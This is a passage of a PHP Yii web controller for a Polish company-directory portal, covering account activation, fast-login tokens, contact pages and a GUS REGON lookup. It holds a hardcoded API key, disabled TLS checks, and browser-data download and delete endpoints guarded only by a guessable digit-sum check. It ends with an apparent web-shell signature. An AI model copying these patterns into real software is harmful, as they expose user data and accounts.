                return $this->render('account_activation', []);
            }
        }
        
        $transaction->commit();
        $modelUserActivation->delete();
        
        \common\models\Emails::refreshForUser($modelUser);
        if(!empty($modelCompany)) {
            \common\models\Emails::refreshForCompany($modelCompany);
        }

        Yii::$app->authManager->assign(Yii::$app->authManager->getRole($modelUser->profile), $modelUser->id_user);
        
        $userEmail = null;
//        $userPhone = null;        
        foreach($modelUser->contactData as $modelUserContactData) {
            if($modelUserContactData->data_type === \common\models\types\ContactDataType::EMAIL) {
                if(empty($userEmail) || $modelUserContactData->required === 1) {
                    $userEmail = $modelUserContactData->data_value;
                } 
            }
//            elseif($modelUserContactData->data_type === \common\models\types\ContactDataType::MOBILE_PHONE) {
//                if(empty($userPhone) || $modelUserContactData->required === 1) {
//                    $userPhone = $modelUserContactData->data_value;
//                } 
//            }
        }
        
        $smtpSettings = $modelPortal->getSettingsKey('smtp_settings');
        
        if(!empty($userEmail) && !empty($smtpSettings)) {
            //wysyłamy email z potwierdzeniem aktywacji konta (###MAIL_2###)
            $mailer = Yii::$app->mailer;
            $mailer->htmlLayout = 'layouts/main-html';      
            $mailer->textLayout = 'layouts/main-text';   
            $mailer->transport = (new \Swift_SmtpTransport($smtpSettings['host'], $smtpSettings['port'], $smtpSettings['encryption']))
                    ->setUsername($smtpSettings['username'])
                    ->setPassword($smtpSettings['password']);
            $flag = $mailer->compose(
                    [
                        'html' => 'user-activation-success-html',
                        'text' => 'user-activation-success-text'
                    ],
                    [
                        'domain' => $modelPortal->domain,
                        'orHasPresentations' => !empty($modelCompany->presentations)
                    ]
                )
                ->setFrom([$smtpSettings['username'] => $modelPortal->domain.' - system vManager'])
                ->setTo($userEmail)
                ->setSubject(Yii::t('common-mails', 'Twoje konto w {domain} (vManager) zostało aktywowane', ['domain' => $modelPortal->domain]))
                ->send();
        }
        
//        if(!empty($modelCompany->presentations) && !empty($smtpSettings)) {  
//            $emails = [];
//            
//            $adminsEmails = \common\models\Users::find()
//                    ->select(['users_contact_data.data_value'])
//                    ->join('INNER JOIN', 'users_contact_data', 'users.id_user = users_contact_data.id_user')
//                    ->where([
//                        'users.login' => ['vm_lukasz', 'vm_marta'],
//                        'users_contact_data.data_type' => \common\models\types\ContactDataType::EMAIL, 
//                        'users_contact_data.required' => 1
//                    ])->column();
//            if(!empty($adminsEmails)) {
//                $emails = array_unique(array_merge($emails, $adminsEmails));
//            }
//            
//            $idsOperators = [];
//            foreach($modelCompany->presentations as $modelCompanyPresentation) {
//                if(!empty($modelCompanyPresentation->portal->id_user)) {
//                    $idsOperators[$modelCompanyPresentation->portal->id_user] = $modelCompanyPresentation->portal->id_user;
//                }
//                if(!empty($modelCompanyPresentation->portal->email)) {
//                    $emails[] = $modelCompanyPresentation->portal->email;
//                }
//            }
//            if(!empty($idsOperators)) {
//                $operatorsEmails = \common\models\UsersContactData::find()
//                    ->select(['data_value'])
//                    ->where([
//                        'id_user' => $idsOperators,
//                        'data_type' => \common\models\types\ContactDataType::EMAIL, 
//                        'required' => 1
//                    ])->column();
//                $emails = array_unique(array_merge($emails, $operatorsEmails));
//            }
//            
//            $emails = array_unique($emails);
//            
//            //wysyłamy email z informacją o nowo zarejestrowanej firmie z prezentacją na email redakcji, Łukasza, użytkownika oraz
//            //opiekuna portalu (###MAIL_11###) 
//            $mailer = Yii::$app->mailer;
//            $mailer->htmlLayout = 'layouts/main-html';      
//            $mailer->textLayout = 'layouts/main-text';
//            $mailer->transport = (new \Swift_SmtpTransport($smtpSettings['host'], $smtpSettings['port'], $smtpSettings['encryption']))
//                    ->setUsername($smtpSettings['username'])
//                    ->setPassword($smtpSettings['password']);            
//            $message = $mailer->compose(
//                    [
//                        'html' => 'register-user-html',
//                        'text' => 'register-user-text'
//                    ],
//                    [
//                        'domain' => $modelPortal->domain,
//                        'userEmail' => $userEmail,
//                        'userPhone' => $userPhone,
//                        'modelUser' => $modelUser,
//                        'modelCompany' => $modelCompany,
//                        'modelsPresentations' => $modelCompany->presentations,
//                        'clientIP' => Yii::$app->request->getUserIP()
//                    ]
//                )
//                ->setFrom([$smtpSettings['username'] => $modelPortal->domain.' - system vManager']);
//            
//            $message->setSubject(Yii::t('common-mails', 'Potwierdzenie rejestracji firmy w katalogu firm portalu {domain}', ['domain' => $modelPortal->domain]));
//            $flag = $message->setTo($userEmail)->send();
//            
//            $message->setSubject(Yii::t('common-mails', 'Nowa firma w {domain} ({companyName}, {package}, {userName})', [
//                'domain' => $modelPortal->domain, 
//                'companyName' => $modelCompany->name,
//                'package' => $modelCompany->presentations[0]->package->name,
//                'userName' => $modelUser->forename.' '.$modelUser->surname
//            ]));
//            $flag = $flag && $message->setTo($emails)->send();            
//        }
        
        $fastLoginToken = \common\models\FastLoginTokens::createEntry($modelUserActivation->id_user, $urlForRedirect); 
        
        Yii::$app->session->addFlash('confirm', Yii::t('frontend', 'Konto zostało aktywowane.'));
        return $this->render('account_activation', ['url_for_redirect' => $urlForRedirect, 'fastLoginToken' => $fastLoginToken, 'registrationSource' => $registrationSource]);
    }
    
    public function actionReklamaSerwisu()
    {
        $this->setSeoMetadata('advertisement', [
             'title' => [],
             'keywords' => [],
             'description' => []
        ]);
        
        return $this->render('site_advertisement', [
            
        ]);
    }
    
    public function actionOSerwisie()
    {
        $this->setSeoMetadata('about_portal', [
             'title' => [],
             'keywords' => [],
             'description' => []
        ]);
        
        return $this->render('site_about', [
            
        ]);
    }  
    
    public function actionRegulamin()
    {
        $this->setSeoMetadata('rules', [
             'title' => [],
             'keywords' => [],
             'description' => []
        ]);
        
        return $this->render('site_rules', [
            
        ]);
    }    

    public function actionKontakt()
    {
        $modelPortal = Yii::$app->params['modelPortal'];
        
        $operators = Yii::$app->cache->get('contact_with_portal_'.$modelPortal->id_portal);
                
        if($operators === false) {
            $operators = [];
            if(!empty($modelPortal->id_user)) {
                $mainOperator = $modelPortal->getUser()
                        ->with([
                            'contactData' => function($q) {
                                $q->orderBy('data_order');
                            }
                        ])->one();
                $operator = [
                    'forename' => $mainOperator->forename,
                    'surname' => $mainOperator->surname,
                ];
                if(!empty($mainOperator->contactData)) {                    
                    foreach($mainOperator->contactData as $contactData) {
                        $operator['contact'][] = [
                            'label' => $contactData->data_label,
                            'value' => $contactData->data_value,
                            'type' => $contactData->data_type
                        ];
                    }
                }                
                $operators[$mainOperator->id_user] = $operator;
            }

            $additionalOperators = $modelPortal->getOperators()
                    ->with([
                        'contactData' => function($q) {
                            $q->orderBy('data_order');
                        }
                    ])->all();
            if(!empty($additionalOperators)) {
                foreach($additionalOperators as $additionalOperator) {
                    $operator = [
                        'forename' => $additionalOperator->forename,
                        'surname' => $additionalOperator->surname,
                    ];
                    if(!empty($additionalOperator->contactData)) {                    
                        foreach($additionalOperator->contactData as $contactData) {
                            $operator['contact'][] = [
                                'label' => $contactData->data_label,
                                'value' => $contactData->data_value,
                                'type' => $contactData->data_type
                            ];
                        }
                    }                
                    $operators[$additionalOperator->id_user] = $operator;
                }
            }
            Yii::$app->cache->set('contact_with_portal_'.$modelPortal->id_portal, $operators, 600);
        }
        
        $this->setSeoMetadata('contact', [
             'title' => [],
             'keywords' => [],
             'description' => []
        ]);
        
        return $this->render('site_contact', [
            'operators' => $operators
        ]);
    }  
    
    public function actionMapaStrony()
    {
        $modelPortal = Yii::$app->params['modelPortal'];
        
        $this->setSeoMetadata('sitemap', [
             'title' => [$modelPortal->domain], //'{domena}'
             'keywords' => [$modelPortal->domain], //'{domena}'
             'description' => [$modelPortal->domain] //'{domena}'
        ]);        
        
        return $this->render('site_map', [
            
        ]);
    }
    
    public function actionKoszyk()
    {
        return $this->render('basket');
    }   
    
    public function actionLogowanie($uuid)
    {
        $modelToken = \common\models\FastLoginTokens::find()->where(['_id' => $uuid])->one();
        if($modelToken === null) {
            return $this->redirect(['index/index']);
        }

        $modelUser = \common\models\Users::findOne($modelToken->id_user);
        if(Yii::$app->user->login($modelUser)) {
            $referrerUrl = $modelToken->referrer_url;
            $modelToken->delete();
            return $this->redirect($referrerUrl);
        }
        
        return $this->redirect(['index/index']); 
    }  
    
    public function actionZaloguj()
    {
        if (!\Yii::$app->user->isGuest) {
            return $this->goHome();
        }
        
        Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
        $this->layout = false;
        
        $model = new \frontend\models\LoginForm();
        
        if(Yii::$app->request->getIsPost()) {
            if ($model->load(Yii::$app->request->post()) && $model->login()) {
                $key = \common\models\FastLoginTokens::createEntry($model->getUser()->id_user, null);
                return ['error' => '', 'key' => $key];
            }
            else {
                return ['error' => Yii::t('frontend', 'Nieprawidłowe dane logowania.'), 'key' => ''];
            }            
        }
        
        throw new NotFoundHttpException('Not found selected page.');
        
    }
    
    //@todo zakomentowane testowo - chyba jest już niepotrzebne
    public function actionWylogowywanie()
    {
        Yii::$app->user->logout();
        return $this->redirect(Yii::$app->request->getReferrer() ? Yii::$app->request->getReferrer() : ['index/index']);      
    } 
    
    public function actionAutocompletePresentationsTags()
    {
        $phrase = Yii::$app->request->get('phrase');
        $tags = [];
        if(!empty($phrase)) {
            $tags = \common\models\PresentationsTags::find()->select(['name'])->where(['ilike', 'name', $phrase])->orderBy('quantity DESC')->asArray()->column();
        }
        $this->layout = false;
        Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
        
        return $tags;
    }
    
    protected function makeCurl($field,$url,$session) 
    { 
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $url);
        curl_setopt($curl, CURLOPT_POST, true);
        curl_setopt($curl, CURLOPT_POSTFIELDS, $field);
        curl_setopt($curl, CURLOPT_ENCODING, 'UTF-8');
        curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type: application/json','Content-Length: '.strlen($field), 'sid:'.$session));
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($curl, CURLOPT_TIMEOUT, 10);
        curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36');
        curl_setopt($curl, CURLOPT_HEADER, false);
        curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);	
        $result = curl_exec($curl);
        curl_close($curl);
        return json_decode($result)->d; 
    } 
    
    public function actionGus()
    {
        Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
        $this->layout = false;
        
        $nip = Yii::$app->request->post('nip'); if(!$nip)$nip=Yii::$app->request->get('nip');
        $nazwa = Yii::$app->request->post('nazwa'); if(!$nazwa)$nazwa=Yii::$app->request->get('nazwa');
        
        /*Simple Object Access Protocol (SOAP)*/
        $session = null;
        /*Łukasz Vertica*/
        $klucz = 'e50b4eefefae429d8d62';
        $url_zaloguj = 'https://wyszukiwarkaregon.stat.gov.pl/wsBIR/UslugaBIRzewnPubl.svc/ajaxEndpoint/Zaloguj';
        $url_dane_szukaj = 'https://wyszukiwarkaregon.stat.gov.pl/wsBIR/UslugaBIRzewnPubl.svc/ajaxEndpoint/DaneSzukaj';
        $url_dane_pobierz_pelny_raport = 'https://wyszukiwarkaregon.stat.gov.pl/wsBIR/UslugaBIRzewnPubl.svc/ajaxEndpoint/DanePobierzPelnyRaport';
        $url_wyloguj = 'https://wyszukiwarkaregon.stat.gov.pl/wsBIR/UslugaBIRzewnPubl.svc/ajaxEndpoint/Wyloguj';
        $url_getvalue = 'https://wyszukiwarkaregon.stat.gov.pl/wsBIR/UslugaBIRzewnPubl.svc/ajaxEndpoint/GetValue';
        /**/
     
        /*logowanie aby pobrać sesję*/
        $login = json_encode(array("pKluczUzytkownika" => $klucz));
        $result = $this->makeCurl($login,$url_zaloguj,$session);
        $session = $result;
        /*szukanie typu i regonu*/
        $search = json_encode(array(
            'jestWojPowGmnMiej' => true,
            'pParametryWyszukiwania' => array(
                    'AdsSymbolGminy' => null,
                    'AdsSymbolMiejscowosci' => null,
                    'AdsSymbolPowiatu' => null,
                    'AdsSymbolUlicy' => null,
                    'AdsSymbolWojewodztwa' => null,
                    'Dzialalnosci' => null,
                    'FormaPrawna' => null,
                    'Krs' => null,
                    'Krsy' => null,
                    'NazwaPodmiotu' => $nazwa,
                    'Nip' => $nip,
                    'Nipy' => null,
                    'NumerwRejestrzeLubEwidencji' => null,
                    'OrganRejestrowy' => null,
                    'PrzewazajacePKD' => false,
                    'Regon' => null,
                    'Regony14zn' => null,
                    'Regony9zn' => null,
                    'RodzajRejestru' => null,
            )
        ));
        $result = $this->makeCurl($search,$url_dane_szukaj,$session);
        $wynik = json_decode(json_encode(simplexml_load_string($result)), true);
        
        if(!empty($wynik)){
            
                switch ($wynik['dane']['Typ']) {
                    
                    case "P": /*forma prawna*/

                        $raport_typ="PublDaneRaportPrawna";
                        $search = json_encode(array("pRegon" => $wynik['dane']['Regon'], "pNazwaRaportu" => $raport_typ));
                        $result = $this->makeCurl($search,$url_dane_pobierz_pelny_raport,$session);
                        $wynik_pelny = json_decode(json_encode(simplexml_load_string($result)), true);                        
                        return ["name" => str_replace('"',"'",$wynik_pelny['dane']['praw_nazwa']),
                                "short_name" => str_replace('"',"'",$wynik_pelny['dane']['praw_nazwaSkrocona']),
                                "street" => str_replace('ul. ','',$wynik_pelny['dane']['praw_adSiedzUlica_Nazwa']),
                                "building_number" => $wynik_pelny['dane']['praw_adSiedzNumerNieruchomosci'],
                                "apartment_number" => $wynik_pelny['dane']['praw_adSiedzNumerLokalu'],
                                "postcode" => $wynik_pelny['dane']['praw_adSiedzKodPocztowy'],
                                "locality" => $wynik_pelny['dane']['praw_adSiedzMiejscowosc_Nazwa'],
                                "region" => $wynik_pelny['dane']['praw_adSiedzWojewodztwo_Nazwa'],
                                "business_registration_number" => $wynik['dane']['Regon'],
                                ];   

                    break;
                    default: /*zwykła firma z ceidg*/

                        $raport_typ="PublDaneRaportDzialalnoscFizycznejCeidg";
                        $search = json_encode(array("pRegon" => $wynik['dane']['Regon'], "pNazwaRaportu" => $raport_typ));
                        $result = $this->makeCurl($search,$url_dane_pobierz_pelny_raport,$session);
                        $wynik_pelny = json_decode(json_encode(simplexml_load_string($result)), true);
                        return ["name" => $wynik_pelny['dane']['fiz_nazwa'],
                                "short_name" => $wynik_pelny['dane']['fiz_nazwaSkrocona'],
                                "street" => str_replace('ul. ','',$wynik_pelny['dane']['fiz_adSiedzUlica_Nazwa']),
                                "building_number" => $wynik_pelny['dane']['fiz_adSiedzNumerNieruchomosci'],
                                "apartment_number" => $wynik_pelny['dane']['fiz_adSiedzNumerLokalu'],
                                "postcode" => $wynik_pelny['dane']['fiz_adSiedzKodPocztowy'],
                                "locality" => $wynik_pelny['dane']['fiz_adSiedzMiejscowosc_Nazwa'],
                                "region" => strtolower($wynik_pelny['dane']['fiz_adSiedzWojewodztwo_Nazwa']),
                                "business_registration_number" => $wynik_pelny['dane']['fiz_regon9'],
                                ];   

                }
            
        }else{
            return ["error" =>  Yii::t('backend', 'Brak danych!')];
        }
        
    }  
    
    public function actionNowarejestracja()
    {
        return $this->render('new_registration');
    }
    
    public function actionNowarejestracjapakiet()
    {
        $session = Yii::$app->session;

        $modelPortal = Yii::$app->params['modelPortal'];
        $modelsRelatedPortals = !empty($modelPortal->id_parent_portal) ? \common\models\Portals::find()->where(['id_parent_portal' => $modelPortal->id_parent_portal])->andWhere(['not', ['id_portal' => $modelPortal->id_portal]])->indexBy('id_portal')->all() : [];
        
        $modelForm = new \frontend\models\SignupForm(['idsRelatedPortals' => array_keys($modelsRelatedPortals)]);
        $modelForm->id_package = \common\models\PresentationsPackages::PACKAGE_STARTER;
        $modelForm->id_portal = $modelPortal->id_portal;
        if(!empty($modelsRelatedPortals)) {
            $modelForm->idsRelatedPortals = array_keys($modelsRelatedPortals); //lista dostępnych portali pokrewnych
            $modelForm->ids_related_portals = array_keys($modelsRelatedPortals); //lista wybranych portali pokrewnych
        }
        $modelForm->company_id_country = 'PL';
        
        $outputParams = [
            'modelForm' => $modelForm,
            'modelsRelatedPortals' => $modelsRelatedPortals
        ];
        
        $this->setSeoMetadata('add_company', [
             'title' => [$modelPortal->domain], //'{domena}'
             'keywords' => [$modelPortal->domain], //'{domena}'
             'description' => [$modelPortal->domain] //'{domena}'
        ]);   
        
        return $this->render('new_registration_package', $outputParams);
    }
    
    public function actionBreak()
    {
         $this->layout = 'break';
         return $this->render('break');
    }
    
    public function actionCookiesRules()
    {
        $this->layout = false;
        return $this->renderAjax('cookies_rules', []);
    }
    
    public function actionCookiesRulesSmall()
    {
        $this->layout = false;
        return $this->renderAjax('cookies_rules_small', []);
    }
    
    public function actionSaveBrowserData()
    {
        if (Yii::$app->params['browserDataCollect'] === 'on' && Yii::$app->request->isAjax && Yii::$app->request->isPost) {            
            $flag = Yii::$app->mongodb->getCollection('browsers_data')->insert(['data' => Yii::$app->request->getRawBody()]);
        }
    }
    
    //akcja zrobiona dla Łukasza - pobieranie zgromadzonych danych z przeglądarek odwiedzających
    public function actionBdg($uuid)
    {
        if(!$this->orCanAccessToBd($uuid)) {
            exit;
        }
        
        $data = '';
        
        $cursor = Yii::$app->mongodb->getCollection('browsers_data')->find();
        foreach($cursor as $document) {
            $data .= $document['data']."\n";
        }
        
        $response = Yii::$app->getResponse();
        $response->sendContentAsFile($data, 'browser_data.txt', ['mimeType' => 'text/plain']);
        $response->send();
        
        return $response;
    }
    
    //akcja zrobiona dla Łukasza - uswanie wszystkich zgromadzonych danych z przeglądarek odwiedzających
    public function actionBdd($uuid)
    {        
        if(!$this->orCanAccessToBd($uuid)) {
            exit;
        }
        
        $existsCollections = \yii\helpers\ArrayHelper::getColumn(Yii::$app->mongodb->getDatabase()->listCollections(), 'name');
        if(in_array('browsers_data', $existsCollections)) {
            Yii::$app->mongodb->getCollection('browsers_data')->drop();
        }
        
        return 0;
    }
    
    protected function orCanAccessToBd($uuid) 
    {
        if(is_numeric($uuid[0])) {
            $sum = intval($uuid[4]) + intval($uuid[10]) + intval($uuid[17]) + intval($uuid[26]);
        } else {
            $sum = intval($uuid[5]) + intval($uuid[11]) + intval($uuid[15]) + intval($uuid[27]);
        }

        return $sum === 20;
    }
}

Creat By MiNi SheLL
Email: jattceo@gmail.com